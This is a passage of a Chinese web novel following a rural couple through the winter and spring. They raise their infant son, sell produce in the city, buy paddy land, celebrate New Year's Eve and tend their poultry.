苗秋莲看在眼里,前天吃完猪肉饭后,回村就到处跟人说后山杀猪了,价钱也不贵。 之前收鸡蛋收母鸡,和村里人打交道较多,因此对裴厌,不少人都有了改观。 一般快到腊月底,村里才陆续杀年猪。一听后山有肉,都进腊月了,本就是该吃点好东西的时候,因此动心的人还挺多,腊月初杀猪的少,想买还得去别处。 李梅娘方小枝带着李保儿头一个来买肉,提着竹篮回去时,没有给盖布,路上见到村里人,闲聊说是在后山买的。 方小枝是看见苗秋莲逢人就说她姑爷家里杀猪,心里便知道了大概,她也没跟谁商量,就过去买了两斤。 刘桂花打发儿媳妇也买了几斤,有了打头的人,后面的人自然没那么多顾虑了,后山离得近,买了就能烧了吃,在隔壁村屠户家买也是一样的价钱,何必舍近求远。 有人来买肉,顾兰时挺高兴的,一个村住着,哪能不跟人来往来往。 五个竹笋切了不少,分作两碗,一碗清炒一碗烧肉,没听见孩子哭声,他想了想,进鸡屋拿鸡蛋,晌午再炖碗鸡蛋羹,七八天没吃蛋羹了。 府城鸡蛋卖得那么贵,便想着多攒几个好换钱,裴厌没他俭省,每次裴厌做饭的时候,随手就去摸两个。 鸡屋里,母鸡还没下蛋,顾兰时在北边墙角下打开蛋瓮盖子,从里头摸了六个鸡蛋。 鸡屋暖和,北边墙角没有火道,蛋瓮放里面不会受冻。 鸡蛋不着急打散,到饭时来得及。 顾兰时抓一把木耳和黄花菜,用热水泡上,清炒笋子要用,又把一条干鱼泡上,今儿再吃个蒸鱼。 正忙着,听见外头的动静,是裴厌回来了。 他和刘大鹅各自背了一个竹筐,两筐都是圆滚滚的乳果,星星差不多能吃两个月。 正月十五一过,年就过去了,没有雨雪,上山进谷更容易,但多摘一些才能放心。 “没醒?”裴厌洗手问道。 “没,没听见动静。”顾兰时拿起两个乳果洗了洗,又切开乳果嘴那里,把白色汁子倒在碗里。 倒在碗里热的话,能看见也能自己先尝尝,整个乳果丢进水里煮,要是煮的烫了,还得再晾温,可孩子饿了,哭起来是不等人的。 裴厌擦干手进来,见案台上各式菜色都备好了,他唇角弯起笑了下,早起顾兰时说孩子满三个月了,他还没说什么,顾兰时下一句就是今天要做顿好饭。 他没有反对,对孩子的事也挺上心的,就是没料到顾兰时是要给他俩吃好点。 星星连乳牙都没长,根本吃不了,饭菜只能落进他俩肚子里。 看见篮子里的橘子,裴厌拿起一个剥开:“不用省着吃,初十我不是还要去府城,再买一些回来。” 顾兰时确实喜欢吃橘子,冬天鲜果少,橘子贵,就有点舍不得,早上剥一个,还留一半到下午再吃。 听裴厌这么说,他忍不住笑了,说:“好。” 裴厌递了一半橘子过来,他接住,外头的白络是好东西,两人都没揭。 张大嘴巴,顾兰时把四五瓣橘子全塞进嘴里,乐滋滋咬下,酸甜橘子汁水顷刻间溢满口中。 裴厌吃得斯文点,一抬眼看见他张嘴塞下橘子的模样,忍不住笑了下。 “一瓣一瓣不过瘾。”顾兰时咽下去后,为自己辩解,他也知道这样吃东西不雅,但忍不住,他尤为喜欢汁水出来的一瞬,觉得很满足。 裴厌笑一声,看他认真辩解的眼神,忍不住上前一步靠近,趁院里没人,低头迅速在顾兰时脸上亲了口。 第224章 轰—— 一簇猛火喷长,灼热扑面而来,随即便是满场叫好。 耍把式的汉子赤着上身,冬天也浑然不怕冷,口中火龙喷吐,场上登时扔进不少铜板。 神凝精练的女子耍坛转彩盘,抛接轮转,像是一阵彩色的风,直教人目不暇接。 金枪锁喉、走索倒立、飞刀舞剑,各种杂耍接连上场,围看的人越来越多,叫声好也不断。当啷铜锣一敲,猴儿戏便开了场。 听见有耍猴的,大孩子小孩子叫着闹着扯住大人衣裳要过去看,几个十来岁的小子瘦又灵活,仗着自己矮小,挤着挤着就到了最前。 人群后面,仗着身量高,裴厌没有往前挤,眼前人头攒动,踮起脚的人不少,有把孩子往脖子上架的,挡住了他视线。 已经看了好一阵,被挡住之后,恰有几个小孩从他身边窜过,迈开的脚步一顿,等落后的小矮萝卜过去后,他才牵着毛驴往前走。 “他爹!快跟过去,别叫跑丢了!”一个夫郎在后面气喘吁吁喊,又骂道:“该死的犟种,撒手就跑,也不怕叫拍花子的拐去。” 已经腊月初十,年集还未大摆,却已经有了热闹的前兆,府城人本就多,这两天来了一伙耍把式的,人多摊子挺大,一旦出来摆摊耍弄,总有许多人围过去,小偷小摸不免在附近转来转去,说不定也有拐子混在人群里,不得不操心。 “冬笋——新鲜冬笋便宜了。” 远离人群之后,裴厌边走边叫卖,刚才给郑宅那边送了一百鸡蛋,照样还是十五文,又卸了两筐冬笋,眼下车上还有两筐。 昨天和刘大鹅在山上挖得多,来福酒楼要了一筐,同春酒馆也要了一筐,新鲜的菜蔬缺乏时总是好卖。而镇上鸡蛋没有这么贵,酒楼和酒馆分别要了五十个,一枚九文钱。 因酒楼和酒馆是长久的生意,一年到头都在他手里拿鸡蛋拿菜,总不能为了冬天在府城挣钱,抛下这两家,而且楼里和馆子里一般要的不多,府城这边还是能赚不少的。 “笋子多钱?”一个老妇朝他招招手,示意过去。 裴厌往那边走:“一斤八文。” “八文。”老妇跟着念了一遍,倒是市价,她拿起一棵看看颜色和根部,见确实是新鲜的,挑了十个放进竹篮让给她称。 一边走一边卖,转了两条街后,最后几个笋子被买走,裴厌把铜板装进钱袋,扎紧袋口后,照旧塞进怀里。 他转头,目光在后面两个假意挑拣干菜的汉子身上扫过,末了牵毛驴往城门方向走,眉目冷峻。 干菜摊子前,两个汉子丢下手里的东西,对视一眼,往前走了几步,却心有顾虑,没有立即跟上去。 摊主是个上年纪的老翁,原以为他俩是来买菜的,却没做成生意,再一看那两人贼眉鼠眼的,心里便有了点警惕,不动声色把身前的几个干菜筐往自己这边拽了拽,菜干子值不少钱呢。 “被发现了?”稍矮的那个低声说道。 他旁边的汉子望过去,心中忐忑起来,刚才那一眼,两人都看得分明,知道是冲着他俩来的,又是个刀疤脸,个头也高,虽是庄稼汉子打扮,瞧着不是很好惹。 刚才在另一条街看见这个卖菜的,从怀里掏出来的钱袋像是有些东西,两人便起了贼心,悄悄跟在后头,不想对方竟然留意到了他俩。 稍高的汉子一沉吟,还是歇了心思,转头又去盯别的肥羊。 城门口,身后不再跟着人,知道只是两个不入流的小贼,裴厌坐上驴车,鞭子在空中打响,毛驴奔跑起来,车轱辘转得飞快。 * 驴车刚驶过小河村村后,沿着岔路要往东拐进树林,裴厌就听到身后的声音。 顾兰瑜从家里追出来,在后面喊:“厌哥,清水村有个要卖地的,去不去看?是两亩水田。” 裴厌说道:“行,这会儿他家有人?” 狗儿说:“那肯定,昨儿才散的消息,这几天等人上门问呢。” 于是裴厌掉转车头,拉上狗儿一起又往清水村去。 已经过了上午,他只啃了俩馒头,不过不着急,要真是良田,能定就定下,最好在年前了了这件大事,心里也就踏实了。 清水村。 刘庆带着裴厌和顾兰瑜到了自家水田边上,说:“就这两亩,那边,过去十亩地,就是你们村林老忠家的地。” 裴厌点点头,这边一片确实是肥沃良田,两个村子田地挨着,大伙儿都知道。 田中蓄了水,他沿着田垄往前走一段,和顾兰瑜边走边看,买田是大事,而且一亩地十两银子,又是大钱,自然要看好。 刘庆没有催促,前头也有两个人过来看地,都是这么看的,不过那两家没有给准话,因此后面来了人,肯定要带来转转,就看哪家愿意买了。 说实在的,顾兰瑜带着裴厌进家门以后,他心中哆嗦,一听是来看田的,才略略松口气。 腊月催债催得紧,老话又说背债不过年,否则意头不好。 若不是今年家里有事,才欠了些钱,原以为腊月前能还上,不想又生出点事端,刚攒了点钱又没了,要不然,谁愿意卖地。 裴厌看了一会儿,两亩田挨着,他原本想买两亩旱田,一年能种一茬冬麦和一茬秋豆,但四处打听了,没几个要卖良田的,前几天倒是有人卖,但是两亩薄地,他没看上。 旱田这会儿不好买,秋豆拔了以后,冬麦都种上了,只算麦种,也值点钱呢。 这两亩地离河边不近不远,通渠引水还算方便,裴厌想了想,又同狗儿商量了两句,最后决定买下来。 水田也行,多两亩地就多打些粮食,慢慢攒着,等以后有合适的旱田再买两亩。 有狗儿在,写契不用再找别人,身上的钱不够,裴厌先付了定钱,很快从家里取了钱来付清。 堂屋。 顾兰时展开地契,官印还没盖,回头要去一趟镇上,他看两眼,因记得裴厌名字是怎么写的,所以没有拿倒。 裴厌总算吃上了饭,路上就已经饿了,不想又买地耽搁一阵,饿得有点狠了,都顾不上说话。 顾兰时高高兴兴看完,其实也不认识几个字,他进屋从箱子里掏出一个木匣来,把地契平展放进去,不然折出痕迹,不易放存。 里面已经有几张契约,有家里的房契和地皮契以及原先那四亩田契。 * 一进二十三,天天都有的忙了,趁着白天,还要去赶赶大集,大集东西多热闹,摆摊的多了,也比店铺的东西便宜些,因此乡下村子,天天儿都能看见走路的赶车的,成群结队拉家拖小,热热闹闹去赶集。 腊月二十五,一大早顾兰时让裴厌在家看孩子,自己提上竹篮去买豆腐。 今儿要吃豆腐,也要多买点,炸一炸过年多道菜,炸的豆腐干切条也能作配菜使。 “婶子,买豆腐去?”看见刘桂花从门里出来,他笑着问道。 “可不是,兰哥儿你也去?”刘桂花笑吟吟的,今天二十五,吃豆腐“福菜”的好日子,儿媳妇又有了身孕,一家子都乐得什么似的,见人就是三分笑,只是刚有信儿,不好声张,只闷在自家人心里。 “嗯,我喊喊竹哥儿。”顾兰时笑道。 他发现对方脸上洋溢的喜气,只是刘桂花同他道一声,小跑几步,和前面同辈的人搭了伴儿。 有竹哥儿去买豆腐,苗秋莲就没出门。 顾兰时一边走一边和碰见的人闲聊几句,那叫一个欢快。 家里人少,他一个人看孩子,星星又离不得他,因此这三个多月,他都没怎么出门,总算逮个机会,一出来可不得好好透透气解解闷,只觉肺腑都畅意。 然而豆腐买回家没多久,他就抱着星星羡慕地看裴厌套驴车。 趁着今天不用杀鸡宰鸭,是个空子,早点去大集买些干果蜜饯、花生炒货,还有灶糖胶牙饧,以及年画灯笼对联之类的年货。 裴厌套好车,一抬眼就看见他面带羡色,笑了声说:“明年这时候,星星也一岁多,大了,到时候你抱着他,跟着一起去逛。” “那好。”顾兰时忙不迭答应,星星这会儿还是太小了,无法出门。 头一回被抱在怀里目送爹爹离开,星星懵懵懂懂,大眼睛盯着看了好一会儿,直到顾兰时又抱他进屋,被两个鲜艳的八角风车吸引了注意后,才咧着嘴巴笑了。 * 除夕。 浅浅夜色笼罩,天幕空旷,却不似平时那样静寂无声。 家家门前点了灯笼,平时舍不得点烛点灯,年节这些天,只要不是太穷的人家,夜夜都有灯笼亮起。 嘣——啪! 炮仗声从村子那边传来,狗耳朵一抖,没有被吓到乱叫。 裴厌在屋里抱着儿子一边走动一边哄,下午就有人点炮仗玩儿,不过白天喧嚣,不像晚上传得这样清晰,怕星星害怕。 顾兰时在灶房做饭,没一会儿,先端着清蒸的一尾鲜鱼进来。 炕桌已经摆好了,他把鱼盘放在最中间,见星星没有哭,笑眯眯说:“你抱着就行,我去端菜。” 照旧是六样菜,足够他两人吃一顿丰盛的年夜饭。 菜上齐后,顾兰时掩了门窗,和裴厌对面坐下,倒两碗清酒,心中满是欢喜。 许是感受到大人过年的喜悦,星星原本入夜后吃了乳果就该睡的,也或许是因为从傍晚炮竹声变多,吵得他没有睡着。 裴厌把孩子放在炕里仰着睡下,不想星星努着劲翻个身,趴在炕上抬头看他俩,因有烛火,一双黑瞳仁更亮。 “过年啦。”顾兰时喜滋滋的,同儿子说道。 星星趴在那里看他俩一会儿,又翻个身躺了回去,炕上暖和,他小腿蹬了两下,小脚转动两下,嘴里咿咿的,也不知在说什么。 “真乖,知道过年,没给咱俩找事。”顾兰时越看儿子越稀罕,脸上笑容不断。 裴厌喝一口酒,对儿子这么乖巧,心里确实也很高兴,怎么就这么乖呢。 “等会儿你出去点炮?”顾兰时尝一筷子鱼,鲜鱼肉细嫩,真是贵有贵的道理。 “嗯。”裴厌点头,也夹一筷子鱼肉吃。 即便有孩子,过年不能不响炮,幸好篱笆门比一般人家离屋子更远点。 为了让星星适应一下,吃完裴厌先在门口点了个二踢脚,随后仔细听动静,狗倒是叫了两声,但没有孩子啼哭声,于是他又点了个窜天猴。 房间里,顾兰时抱着星星哄,听见外头炮响以后,紧张得不行,好在星星胆子还挺大,神色懵懵的,听见声音近,他还转着小脑袋四处看,企图寻找声源。 “真厉害,我们星星胆子可真大。”顾兰时不停夸,又在星星小脸蛋上亲一口。 今年买的炮少,裴厌在外面放了几个,全当是个意思,就没有再点。 星星也困了,打个小小的哈欠揉眼睛,顾兰时赶紧把孩子哄睡着,夜还长呢,孩子太小,没法儿和他俩一起守岁。 炕热乎乎的,星星睡着以后安安静静,偶尔动一下。 顾兰时和裴厌坐在炕沿,两人都抓了把瓜子嗑,时而低声说几句话。 今年多个小人儿一起过年,虽然不和他们一起吃一起玩,但光是看着,心里就高兴。 到子时,顾兰时哈欠连天,很少这么晚睡,不免困倦,好在总算熬到了。 裴厌出去放鞭炮迎新年,他打起精神,把门窗都关严实,又坐在孩子旁边,双手轻轻捂住星星耳朵。 和炮仗不一样,鞭炮一响就是一串,噼里啪啦得一阵子。 而等外面鞭炮声响起,星星在睡梦中被惊醒,随即就哇一声哭起来,嗓门高的很。 顾兰时又是笑又是手忙脚乱抱起儿子赶紧哄,新年就这样开始了,嘹亮高昂。 第225章 绿柳枝条渐渐抽长,垂下如一幕幕翠枝帘。风吹进二月,天暖回拢,吹开中旬杏枝上的花苞。 朵朵粉花在枝头拥挤,堆簇成热烈的情景。 长了两年多,树明显高了,也有分支延伸,五棵树高低有不同。 树下,顾兰时抱着五个多月的星星看杏花。 已然是春天,不用穿那么厚,星星没有裹着厚厚的襁褓,手脚都是自由的,袖口卷起一点,露出肉乎乎的小手腕。 看见杏花,他嘴里咿呀叫着,十分兴奋,大眼睛都是亮的,直到顾兰时给他摘了一朵杏花,他用小手指头捏着,好奇地盯着看。 抱久了,顾兰时觉得胳膊酸,见星星安静下来,于是把他放进旁边的摇篮里,自己绕着五棵杏树都看了看。 星星这几天能靠着东西坐一会儿了,他也喜欢到外面来玩,尤其在听到鸟叫声时,要是抱着他出来看见枝头上的麻雀和别的鸟儿,他会很高兴。 比起去年,今年花开得更好了,就是不知道杏子怎么样,都说杏树要四年,果子才繁盛。 风吹过枝头,花枝摆动,粉色花瓣颤巍巍的。 花期正当时,被吹下的花瓣不多,随风飘飘,顾兰时再过来,就看见星星的摇篮里,零星落了一点。 而被星星捏在手里的一朵杏花,已经被小小的手指头揉碎了。 不远处,裴厌蹲在菜地间拔杂草,因常常打理,杂草只有一些刚发出来的细苗,他时不时就起身换个地方。 顾兰时见星星脸蛋红红,春风和煦,并无任何寒意,于是把孩子戴的小帽取下。 束缚更少,星星仰头看他,笑出了声音,奶音软软的,还举起小手给阿姆看那朵花。 “弄烂了?还想要?”顾兰时和孩子说话,抬高手臂又从枝条摘下一朵。 星星看他手里的花,却没有接,又看向自己手指间碾烂的花瓣,嘴里啊啊直叫。 顾兰时这才理解儿子的意思,可能是觉得黏,他把那朵杏花放在星星腿上,从袖子里取出手帕,笑着给星星擦干净手指。 “说,阿姆。”他一边擦一边逗儿子学说话。 “呜——”星星小手被擦干,又发出一声意义不明的叫,显然离会说话还早呢。 鸡圈里有母鸡咯咯哒叫,不知道是不是下蛋了。 正好裴厌拔完了杂草苗,起身四下又瞅一圈,看有没有遗漏的,说道:“我去看看。” “好。”顾兰时应道,依旧在这边和星星玩。 孩子还小,坐一会儿他就让星星躺下了,听老人说,刚学会坐,不能久了,不然对小孩腰骨不好。 说起腰骨,到今年秋天,星星也十个月左右了,就让裴厌去山里捉一种山溪才有的小白鱼,煮了汤给孩子喂一点,人家说对腰骨好呢,以后长得更结实。 灰仔趴在石子路当中挡路,懒洋洋晒太阳,它跟着顾兰时和星星过来,以为要出门,结果是在杏树下玩儿,颇觉无趣,就趴着睡下了。 想起什么,看见灰仔在那边,顾兰时喊它过来,说:“看着星星,我出去一下。” 灰仔见他指着摇篮,探着脑袋往摇篮里一看,随即后退两步,懒懒打个大大的哈欠,牙齿都露在外面,蹲坐在原地不动了,显然听懂了话。 顾兰时满意地离开,星星正在玩另一朵杏花,他快速出门,家门口一片地杂草尽除,每天都有人进进出出,很少有草木生发。 他往东边走了几步,在野地里拔了一把狗尾巴草,回来坐在椅子上编草。 乡下孩子玩的东西少,编草大的教小的,很多人都会。 他先编了两个只有脑袋和长耳朵的小兔子出来,举在手里自己看,十分满意,于是晃着草编兔子,凑近了在摇篮上方逗星星玩儿。 果然,星星目光被吸引,撇下手里的花瓣,伸手就要来拿。 “不能吃哈。”顾兰时叮嘱道,把一个小兔子递到儿子手里,随后把椅子拉进一点,眼不错眼盯着,生怕星星当成吃的东西塞进嘴里。 过来之前,星星刚吃过乳果,压根儿就不饿,见风把手里毛茸茸的绿色小耳朵吹得晃悠悠,他乐得直笑。 没吃最好了,腿上还有一把狗尾巴草,刚才摘的多,顾兰时着手又编起来,时而看一眼星星,防着他突然往嘴里塞。 小孩手最快了,一个错眼,就不知道往嘴里塞了什么,好在星星还小,没那么贪吃,平常只要吃饱乳果就好。 他用狗尾巴草编了个有身子和四肢的小兔子,对自己的手艺也不严苛,有几分像就好,编好以后,就和刚才那个小兔子脑袋一起插在摇篮边上的缝隙里,星星正好能看见。 发现星星有往嘴里塞草的迹象时,顾兰时动作很快,一把就拽住了儿子的胖胳膊,把狗尾巴草从他手里轻轻抽出来。 因是无比熟悉信任的人,星星被拿走东西后,没有哭闹,小手动了动,看见草编小兔子同样插在摇篮上,咧嘴笑了笑。 裴厌背了个竹筐走过来,停在旁边,先看一眼摇篮里肉乎乎的儿子,又看一眼低头忙着编东西的顾兰时,瞧了一会儿后,问道:“编小狗?” “嗯,看出来了?”顾兰时没敢抬头分心,不然一松的话,编出来的东西不好看,他有点得意:“我手艺还是挺好的嘛,一眼就能看出来。” “是不错。”裴厌笑了下,没说自己其实是随口一问。 不过编成型之后,小狗的样子就很明显了,尾巴比兔子长,耳朵比兔子短。 两人正说话间,刘大鹅在前面套了绊绳拉车,周大良在后面推,两人弄了一板车草进门。 “刘哥,你俩歇歇,喝点茶水,桌上放了米糕,垫垫肚子。”裴厌说道。 “好好。”刘大鹅和周大良连声答应。 天热了,一干活就满身汗,确实得喝水解解渴。 周大良是今年新雇的人,同样二月初就来上工,是年节过大姐夫周书宏帮忙找的,周家村人,只比刘大鹅小两岁,也三十出头了,同样是本分人。 有他俩在,田里的活裴厌只用隔几天过去看看就成,根本挑不出错,只要田里没活,他俩每天都会出去打草,多的时候,一天拉回来好几车,一些喂牲禽,余下的全倒在谷场上晒干草。 野菜也会拉板车出去挖,因此只要太阳好,院里常常用席子晒各种野菜,隔几天裴厌还和他俩一起去山上挖各种山野菜,除去吃的晒的以外,也会让他俩给家里拿一些。 周大良总是乐呵呵的,还被人说过成天就知道傻笑,他也不恼,笑一声就当这事过去了。 他是两年前出来给人当长工的,他家以前日子好,十七岁就有了儿子,今年儿子十五,已经能包揽地里的活,想着多攒点钱给儿子以后娶亲,他便做起长工,这样能省家里一份口粮,一年还能攒点钱。 做工的人家算起来还是他远房亲戚,原本想着自家亲戚,互相都好说话,可一旦牵扯到钱财,亲戚就显得格外计较,生怕他少干一点活,浪费了工钱。 絮絮叨叨总是挑刺,他也一句话不说,始终笑呵呵的,心想可能确实是他没干好,主家觉得他没做对,按着人家的心意干好活就行了。 吃不好也不怎么提,毕竟不是地主员外,谁家有那么多好的给别人吃。 可越是忍让,对方就越是过分,甚至半夜让他起来,借着月色去田里干活。 白天就够累了,半夜都睡不了觉,白天不免打哈欠,连干活都迟钝,亲戚家的老人看见后,便骂他懒,他有心为自己辩解,却被骂得不知道要如何说,折腾了几次后,他终于明悟过来,这分明是把他当牛马使。 本就是远房亲戚,断就断了,闹了个不甚愉快回家后,又被周书宏介绍到这边来。 在这边干活后,周大良心里那叫一个舒坦,没人骂他也没人挑刺了,吃喝都好,连肉菜都会分给他和刘大鹅吃,更不会半夜被叫醒,他脸上笑容重新浮现,不再忧心忡忡。 他做长工的经历少,头一回就吃了亏,难免想的多一点,只觉这么厚道的东家,算是他撞了大运,给碰到了,自然天天都高兴。 星星在摇篮里哼哼唧唧的,裴厌和顾兰时同时看过去。 他小腿踢一下,又落回去,像是不满被忽略。 顾兰时笑着轻晃两下摇篮:“我们星星可真乖,不哭又不闹。” 不知道孩子听懂没有,但星星又笑了,显然很高兴。 裴厌拿起摇篮里放着的拨浪鼓,咚咚咚摇起来。 看见熟悉的爹爹,星星也很高兴,很给面子地笑出声。 裴厌不急着出去挖野菜,陪儿子玩起来,还学着星星爱听的鸟叫声,用口哨吹了一段婉转悠扬的。 果然,星星看着他,大眼睛里全是认真。 连顾兰时也抬头,惊讶道:“你还会吹这个?” 裴厌笑道:“听多了,记住那个调调,就当打呼哨,学得也没那么像。” 确实,鸟叫声尖脆,和呼哨声不一样。惊讶过后,见星星乖下来,顾兰时又惦记他的草编了,好几年没弄,一上手怪有趣的。 裴厌晃一下摇篮,手里的拨浪鼓摇几下,有风吹过,见顾兰时低着头玩狗尾巴草,他笑笑,没有打搅,伸手帮他把头上两片小小的花瓣摘掉。 “给你,拿着去玩儿吧。”顾兰时又编了一个兔子,见裴厌看过来盯着,颇有一副眼巴巴的感觉,于是很大方,不就一个草编兔子。 得了“赏赐”的裴厌哭笑不得,完全是打发小孩的糊弄语气。 “去挖野菜?”顾兰时抬眼看他,因太阳大,伸手在眼睛上方挡了挡。 “嗯。”裴厌捏着狗尾巴草的草茎,转动两圈,绿色小狗的尾巴就转成了一个圆。 “在门口给我拔一把,这点不够了。”顾兰时支使道。 裴厌立马去办,拔了一大把回来,能编不少。 刚放在地上,灰仔就凑过来嗅闻,许是被毛茸茸的草头弄得鼻子痒,它晃着脑袋打了两个喷嚏,随后就离这一堆狗尾巴草远了。 “笼子会编吗?”裴厌问道。 顾兰时觑他一眼:“有什么不会的?” 裴厌笑,说:“我等会儿回来,在河边摘些芦苇叶,编几个草蚱蜢草蛐蛐,你弄几个草笼子。” “行。”顾兰时痛快答应,又说:“我再编几个大点的,回头捉点蚱蜢回来喂鸡,我昨天还看见草里有蹦跶的。” “好。”裴厌没忍住手贱,逗小孩似的,轻揉两下他脑袋,把刚才被当成小孩的“仇”报了回去。 顾兰时翻个白眼,直接撵他出去挖野菜。 第226章 春风尔来为阿谁,蝴蝶忽然满芳草。 遍地野花开放,烂漫多姿,最小的当属婆婆纳花,只有小孩指甲盖那么大,可当一大片一大片开出来,粉色和蓝色交织,仿佛画满一地花瓣。 清风轻吹,枝头的、地上的大小花朵摇曳颤动,有各色花瓣被卷起,黄的红的紫的,裹在风中飘起又落下,地面洒满春花。 蝶飞蜂舞,翩飞穿梭在百花间,嗡嗡嗡落在花心。 “咕——咕咕——” 顾兰时踩着一地花瓣将鸡群赶进野地中,大鸡小鸡如入了水的鱼,呼啦啦迅速在草地间散开。 有老成稳重的,一出来就到处啄草刨地,老鸡追着草丛中惊起蹦出来的蚱蜢去啄,伸长脖子一叨,蚱蜢便落入口中,再挣扎不出去,落为腹中食。 看见有跑太远的鸡,顾兰时望一眼,拍拍手嘴里又咕咕咕呼唤。 大黑带着灰灰和灰仔早窜了出去,飞奔截住了远处的母鸡,汪汪叫着,把母鸡往回赶。 母鸡被狗撵的慌乱起来,扇着翅膀飞快逃跑,一旦跑岔方向,守在另一边的灰灰便冲着它们叫。 三只大狗各自占据一方,围成大半个圈子,只把母鸡往家门口那边赶。 见母鸡被撵回来,顾兰时喊一声,狗不再冲着母鸡凶,个个昂首挺胸,轻晃着尾巴在附近巡视,显然很乐意干这样的差事。 顾兰时又回去,把十六只鸭子放了出来,其中六只是老鸭子,十只是前段时间刚养的小鸭,让它们也在外面吃吃草,等会儿裴厌回来,下午要去挖野菜的话,再带去河边游游水。 养的鸡鸭多,靠他和裴厌给啄蚱蜢蛐蛐这些,弯腰都要弯许久,还不如放出来,让它们自己找虫子吃,外头野地宽阔,溜达溜达也好。 有狗守着,顾兰时很放心,转身往家里走。 家门外的野地经常有人走,蛇鼠少,一般要是草丛里潜藏着长虫,狗早就叫起来了,只要大黑没异样,一般不会有危险的东西危及到鸡群。 葫芦架下,他挽起袖口摇辘轳,井桶被放下去,随后又反转着把井绳摇上来,提着井桶往木桶里倒水。 水缸水不多了,裴厌上山挖春笋捡菌子去了,刘大鹅和周大良在田里干活,他一个人在家,星星睡了,倒是有空干干活。 西边鸡圈里,老母鸡咯咯咯叫,他脚下不停,拎着木桶跨进院门,往灶房去倒了水。 老母鸡都三四年了,五十四只已经吃掉卖掉一些,昨天放了它们和小鸡出去,今儿就该新母鸡和小鸡出去了,不然和新母鸡混在一起,不容易区分。 开春后让几只肥壮的老母鸡抱窝孵小鸡,不然孵太多的话,他俩一来没经验,二也看管不来,最后成活四十几只。 鸡仔难养,太冷太热都不行,好在运气还算不错,活下来不少,只是运气又有那么点不好,四十五只鸡仔,十九只都是小公鸡,裴厌最后买了三十只母鸡仔回来。 下雨天有点冷,陆续又死了几只,如今小鸡里头,母鸡仔有五十一只,公鸡仔倒是都活着。 公鸡仔明显比母鸡仔大一圈,抢食也更猛,吃得多较为强壮,并不意外。 来回拎了几桶水,听见孩子哭声,顾兰时正好从灶房出来,放下木桶匆匆往东屋走。 星星醒了,掀开小被子,就知道他哭闹的原因,尿湿了裤子和一大片褥子,得亏褥子是他自己的小褥子,炕里一侧特地给他腾出来一片地方,让他自己睡,不然大炕褥要是湿了,拆洗很费力气。 顾兰时脱掉星星的裤子和衣裳,衣裳下摆也沾湿了,他用干的地方给孩子擦擦腿和小屁股。 身上舒坦了,胳膊腿也没有任何东西束缚,星星眼泪还挂在眼尾和脸上,又蹬着腿晃着胳膊笑起来。 肉乎乎的小家伙很高兴,顾兰时没忍住,捏捏儿子肥嘟嘟的腿和胳膊,全是肉,要是给穿个肚兜,真像年画里抱大鲤鱼的白胖娃娃。 他找来一身干净衣裳给星星穿上,没有立即抱起孩子,让星星躺着,他给摇了两下拨浪鼓,见孩子感兴趣,就把圆润的木柄塞进星星手里。 顾兰时拿了一根针,出去在泥炉膛的火苗上燎一燎,进来拿起一个乳果扎开。 星星看见乳果,小手一松,拨浪鼓木柄从手中掉下去,他力气还小,原本就举不动拨浪鼓,只是横着抓在手里。 “呜——” 星星自己翻个身,冲着顾兰时这边张嘴巴。 顾兰时笑着,见乳果能滴出来汁水,坐在炕沿抱起儿子在怀里,把乳果嘴递过去,星星立马叼住。 真是吃奶的劲都用上了,他嘬得直响,咽下的动静也大,显然饿了,生怕乳果离开,小肉手还伸过去紧紧贴住乳果。 “兰时?”裴厌在灶房檐下搁了竹筐和篮子,春笋和菌子都有,还摘了一大把蕨菜。 “在屋里。”顾兰时高声应道。 裴厌鞋上沾了泥,裤管也有点脏,沾着土和草屑,他捡一根细柴刮刮鞋边的泥,随后进堂屋取了布甩子,站在院里甩打衣裳。 “狗在外头?”顾兰时坐在炕沿,身体不由直了点,从半开的窗户向外张望。 裴厌手上不停,应道:“在,鸡鸭也在,没乱跑。” 顾兰时放了心,等星星吃完一颗乳果后,他稍稍用力,把乳果从恋恋不舍的小崽儿嘴里拽出来。 裴厌洗了手和胳膊进来,接过儿子抱着,星星小手摸上他脸,乐得咯咯笑。 “吃过晌午饭去挖野菜?”顾兰时端起脏衣裳盆。 裴厌鼓起脸颊逗儿子,果然,手下的脸颊动起来后,星星笑声不断。 他笑了下,看向顾兰时说:“去,河边摘点水芹,晚饭拌面粉蒸着吃。” “那好,记得带上鸭子,让游游水。”顾兰时吩咐完,就出去洗衣裳了,趁太阳大,早点洗了早点干。 经常带孩子,裴厌和星星相处一点都不陌生,在院里都能听见星星在笑。 太阳不知不觉爬高,狗一直在外面看鸡,中途顾兰时端了有清水的食盆出去,让三只都喝了些,又给掰了俩糙馒头分着吃一点。 狗喝完以后,几只母鸡围过来喝水,顾兰时又提半桶水倒进去,随后又拿铺了稻草的蛋篮来,在草丛中四处搜寻,捡了七八枚鸡蛋。 母鸡下蛋下午较多,他仔细搜过一遍,灰灰还跟着他到处闻到处刨草,确认犄角旮旯都找过了,狗也没发现鸡蛋,应该是没了,他这才提着篮子回去。 晌午饭快做好的时候,刘大鹅和周大良从地里回来了,帮着先把外头的鸡鸭赶回来,鸭子只有十六只,养在了一起,得把母鸡和鸡仔分开,费了一点事。 留的两头肥猪正月末已经卖了,那时候宁水镇生猪价回落到十一文,府城生猪价比起冬天时没涨,依旧是十三文,没撞上涨价的好时机,早卖晚卖算起来是一样的。 家里只剩一头老母猪要伺候,去年秋天配好了种,下个月就要生猪仔,每天在圈里吃吃喝喝,肥肚子大大的。 晌午饭很简单,一人一碗枸杞芽滚肉片汤,一道清炒笋丝,一道新鲜菌子炒小菜,都爽口极了。 两个咸鸭蛋一切,正好四个人都有,糙馒头热了不少,足够所有人吃饱。 * 申时初,顾兰时正在屋里剪鞋面,听见炕上的动静,放下东西走过去,笑着抱起晌午觉睡醒的星星。 一摸尿布是干的,他抱着星星到外面撒尿,省得再尿炕。 星星刚睡醒总是懵懵的,看见狗跑过来,他没有被逗得咯咯笑,张嘴巴打个小小的哈欠,随后一道水迹从空中划过,落在地上很快聚成一滩。 顾兰时刚站起来,就听见外头有人喊厌哥,狗儿很快出现在篱笆门前。 家里人常常过来,混熟以后,狗已经很少吠叫了。 他抱着星星迎上去,顾兰瑜看见小外甥白白胖胖十分喜人,顺手就接过去,问道:“我厌哥不在?” 顾兰时胳膊上的分量消失,笑道:“去采水芹放鸭子了。” 顾兰瑜没耽误,直接说道:“二姐夫刚才来了,说他们村有卖牛的,四岁的公牛,他想问家里有想买牛的没,要是有,就赶紧去唐家村看看,爹让我问问厌哥。” 四岁的公牛,正是刚长大的壮牛,从这时候役使耕田,能干好多年活呢,怪不得这样紧迫。 顾兰时连忙说:“他就在河边,你过去找找,我抱着星星跑不快。” “好。”顾兰瑜又把星星还给他,抬脚就往外走。 